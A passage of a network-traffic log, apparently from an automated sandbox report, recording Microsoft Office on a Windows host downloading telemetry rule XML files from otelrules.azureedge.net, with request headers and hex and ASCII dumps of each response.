20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-16849878b78s2lqfdex4tmpp780000000880000000008m4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:45 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2f548e5b-201e-003c-5d24-2130f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200945Z-16849878b785jsrm4477mv3ezn000000084g00000000dt32 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:45 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:45 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200945Z-15b8d89586f6nn8zb8x99wuenc00000000h0000000002d3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:45 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:45 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 26247a46-101e-000b-3298-245e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200945Z-15b8d89586f42m673h1quuee4s00000003pg000000000npg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:45 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:45 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: fc120a29-401e-000a-4ff2-244a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200945Z-15b8d89586fxdh48qknu9dqk2g00000003kg000000000mdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:45 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:45 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f68a3f25-f01e-0052-02bd-259224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200945Z-16849878b786lft2mu9uftf3y400000000t000000000erad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:46 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:46 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:46 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 0eea03f1-d01e-0066-098a-21ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200946Z-16849878b78gvgmlcfru6nuc540000000880000000000by9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:46 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:46 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:46 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 9c2fdade-c01e-002b-16f2-246e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200946Z-15b8d89586fst84k5f3z220tec0000000f4g000000000y2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:46 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:46 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:46 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: aaf6fada-701e-0053-683a-223a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200946Z-16849878b785jsrm4477mv3ezn00000008800000000001nh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:46 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:46 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 7edb8da2-f01e-0099-33f3-249171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200946Z-15b8d89586fst84k5f3z220tec0000000ez000000000aqqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:47 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 9f3a3312-201e-0096-7bbe-20ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200947Z-16849878b78rjhv97f3nhawr7s000000084g00000000e0uf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:47 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: d6a45923-201e-006e-3dec-25bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200947Z-r197bdfb6b429k2s6br3k49qn400000005ng000000006e1x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
